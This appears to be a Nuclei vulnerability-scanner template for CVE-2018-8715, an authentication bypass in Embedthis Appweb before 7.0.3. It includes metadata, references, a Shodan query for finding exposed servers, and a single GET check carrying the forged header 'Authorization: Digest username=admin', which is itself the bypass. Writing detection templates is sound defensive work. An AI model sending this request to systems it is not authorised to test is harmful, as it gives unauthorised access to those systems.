The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
id: CVE-2018-8715
info:
name: AppWeb - Authentication Bypass
author: milo2012
severity: high
description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
remediation: |
Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
reference:
- https://github.com/embedthis/appweb/issues/610
- https://blogs.securiteam.com/index.php/archives/3676
- https://security.paloaltonetworks.com/CVE-2018-8715
- https://nvd.nist.gov/vuln/detail/CVE-2018-8715
- https://github.com/cyberharsh/appweb
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-8715
cwe-id: CWE-287
epss-score: 0.2279
epss-percentile: 0.97615
cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: embedthis
product: appweb
shodan-query: cpe:"cpe:2.3:a:embedthis:appweb"
tags: cve,cve2018,appweb,auth-bypass,embedthis,vuln
http:
- method: GET
path:
- "{{BaseURL}}/"
headers:
Authorization: Digest username=admin
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a class="logo" href="https://embedthis.com/"> </a>'
- type: status
status:
- 200
# digest: 4a0a00473045022100b848f0dfebf1a8b0e8787343d97fbb658d1289069343fac712d32364c619b71302206d1e65a98f2927e677ded2ed99f62e8bef2d73a0fdc59444b4638189d3762dc6:922c64590222798bb761d5b6d8e72950
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